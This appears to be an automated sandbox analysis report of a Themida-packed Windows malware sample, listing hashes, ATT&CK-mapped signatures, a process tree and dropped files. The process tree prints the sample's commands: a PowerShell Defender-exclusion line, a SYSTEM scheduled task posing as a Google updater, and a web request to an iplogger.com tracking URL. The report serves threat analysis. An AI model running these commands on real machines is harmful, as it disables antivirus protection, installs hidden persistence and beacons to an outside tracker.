a0fed10511c4dc1c252c8cefaf123842871e0610d469f3155f60dfa2892e31c7

General

Target

5bf224d571ac2670c97a3af9a87400805575b728e8c0a32e4f12f2f88d0ff2a6.exe
Size

10.2MB
MD5

d21a17b082c180ab291d60acd6472c08
SHA1

221a714c7ea143399c9dad504b12b29be2f62bc9
SHA256

5bf224d571ac2670c97a3af9a87400805575b728e8c0a32e4f12f2f88d0ff2a6
SHA512

92c458492154aa35c5e03f313e59c4b0ebe5eb8a71643ca74e0b20d48a4a74ca1806599cfd2c096c74c3022885ead8e7ec1caf13852fea400b85d615c2639448
SSDEEP

196608:/H4wkCR3Peo3+hwP4Ff8Qg+rho+hs8sZbLV2dfN+zvidCGVgaYXMB0lvbWDjpqHi:/4wkCd3+hDEQLbs8ybLu4Did5gaYXMB1

Score

10^/10

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

description	pid	Process	procid_target
PID 3392 created 3500	3392	5bf224d571ac2670c97a3af9a87400805575b728e8c0a32e4f12f2f88d0ff2a6.exe	56
PID 3392 created 3500	3392	5bf224d571ac2670c97a3af9a87400805575b728e8c0a32e4f12f2f88d0ff2a6.exe	56
PID 3392 created 3500	3392	5bf224d571ac2670c97a3af9a87400805575b728e8c0a32e4f12f2f88d0ff2a6.exe	56
PID 3392 created 3500	3392	5bf224d571ac2670c97a3af9a87400805575b728e8c0a32e4f12f2f88d0ff2a6.exe	56

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	5bf224d571ac2670c97a3af9a87400805575b728e8c0a32e4f12f2f88d0ff2a6.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
39	1760	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	5bf224d571ac2670c97a3af9a87400805575b728e8c0a32e4f12f2f88d0ff2a6.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	5bf224d571ac2670c97a3af9a87400805575b728e8c0a32e4f12f2f88d0ff2a6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	5bf224d571ac2670c97a3af9a87400805575b728e8c0a32e4f12f2f88d0ff2a6.exe

Themida packer 4 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/memory/3392-0-0x0000000140000000-0x00000001412EC000-memory.dmp	themida
behavioral2/memory/3392-2-0x0000000140000000-0x00000001412EC000-memory.dmp	themida
behavioral2/memory/3392-3-0x0000000140000000-0x00000001412EC000-memory.dmp	themida
behavioral2/memory/3392-47-0x0000000140000000-0x00000001412EC000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	5bf224d571ac2670c97a3af9a87400805575b728e8c0a32e4f12f2f88d0ff2a6.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
3392	5bf224d571ac2670c97a3af9a87400805575b728e8c0a32e4f12f2f88d0ff2a6.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	5bf224d571ac2670c97a3af9a87400805575b728e8c0a32e4f12f2f88d0ff2a6.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1776	schtasks.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
3392	5bf224d571ac2670c97a3af9a87400805575b728e8c0a32e4f12f2f88d0ff2a6.exe
3392	5bf224d571ac2670c97a3af9a87400805575b728e8c0a32e4f12f2f88d0ff2a6.exe
3100	powershell.exe
3100	powershell.exe
3392	5bf224d571ac2670c97a3af9a87400805575b728e8c0a32e4f12f2f88d0ff2a6.exe
3392	5bf224d571ac2670c97a3af9a87400805575b728e8c0a32e4f12f2f88d0ff2a6.exe
3392	5bf224d571ac2670c97a3af9a87400805575b728e8c0a32e4f12f2f88d0ff2a6.exe
3392	5bf224d571ac2670c97a3af9a87400805575b728e8c0a32e4f12f2f88d0ff2a6.exe
3392	5bf224d571ac2670c97a3af9a87400805575b728e8c0a32e4f12f2f88d0ff2a6.exe
3392	5bf224d571ac2670c97a3af9a87400805575b728e8c0a32e4f12f2f88d0ff2a6.exe
1760	powershell.exe
1760	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3100	powershell.exe
Token: SeDebugPrivilege	1760	powershell.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3500
- C:\Users\Admin\AppData\Local\Temp\5bf224d571ac2670c97a3af9a87400805575b728e8c0a32e4f12f2f88d0ff2a6.exe
  "C:\Users\Admin\AppData\Local\Temp\5bf224d571ac2670c97a3af9a87400805575b728e8c0a32e4f12f2f88d0ff2a6.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Drops file in Drivers directory
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:3392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3100
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /delete /f /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:2072
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Users\Admin\AppData\Local\Temp\bicubkbzonui.xml"
  2⤵
  - Creates scheduled task(s)
  PID:1776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Invoke-WebRequest -Uri "https://iplogger.com/ZvWn8"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Virtualization/Sandbox Evasion

1

T1497

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

2

T1082

Virtualization/Sandbox Evasion

1

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b2ctt4mz.ayx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\bicubkbzonui.xml

Filesize
1KB

MD5
546d67a48ff2bf7682cea9fac07b942e

SHA1
a2cb3a9a97fd935b5e62d4c29b3e2c5ab7d5fc90

SHA256
eff7edc19e6c430aaeca7ea8a77251c74d1e9abb79b183a9ee1f58c2934b4b6a

SHA512
10d90edf31c0955bcec52219d854952fd38768bd97e8e50d32a1237bccaf1a5eb9f824da0f81a7812e0ce62c0464168dd0201d1c0eb61b9fe253fe7c89de05fe

Download Submit
memory/1760-46-0x00007FFF263E0000-0x00007FFF26EA1000-memory.dmp

Filesize
10.8MB

Download
memory/1760-44-0x0000021ACFC30000-0x0000021ACFC40000-memory.dmp

Filesize
64KB

Download
memory/1760-43-0x0000021ACFC30000-0x0000021ACFC40000-memory.dmp

Filesize
64KB

Download
memory/1760-41-0x0000021AD29C0000-0x0000021AD3166000-memory.dmp

Filesize
7.6MB

Download
memory/1760-30-0x0000021ACFC30000-0x0000021ACFC40000-memory.dmp

Filesize
64KB

Download
memory/1760-29-0x0000021ACFC30000-0x0000021ACFC40000-memory.dmp

Filesize
64KB

Download
memory/1760-28-0x00007FFF263E0000-0x00007FFF26EA1000-memory.dmp

Filesize
10.8MB

Download
memory/3100-18-0x0000021049220000-0x0000021049230000-memory.dmp

Filesize
64KB

Download
memory/3100-22-0x00007FFF263E0000-0x00007FFF26EA1000-memory.dmp

Filesize
10.8MB

Download
memory/3100-16-0x00000210652E0000-0x0000021065302000-memory.dmp

Filesize
136KB

Download
memory/3100-19-0x0000021049220000-0x0000021049230000-memory.dmp

Filesize
64KB

Download
memory/3100-17-0x00007FFF263E0000-0x00007FFF26EA1000-memory.dmp

Filesize
10.8MB

Download
memory/3392-0-0x0000000140000000-0x00000001412EC000-memory.dmp

Filesize
18.9MB

Download
memory/3392-5-0x00007FFF453F0000-0x00007FFF455E5000-memory.dmp

Filesize
2.0MB

Download
memory/3392-3-0x0000000140000000-0x00000001412EC000-memory.dmp

Filesize
18.9MB

Download
memory/3392-2-0x0000000140000000-0x00000001412EC000-memory.dmp

Filesize
18.9MB

Download
memory/3392-1-0x00007FFF453F0000-0x00007FFF455E5000-memory.dmp

Filesize
2.0MB

Download
memory/3392-47-0x0000000140000000-0x00000001412EC000-memory.dmp

Filesize
18.9MB

Download
memory/3392-48-0x00007FFF453F0000-0x00007FFF455E5000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads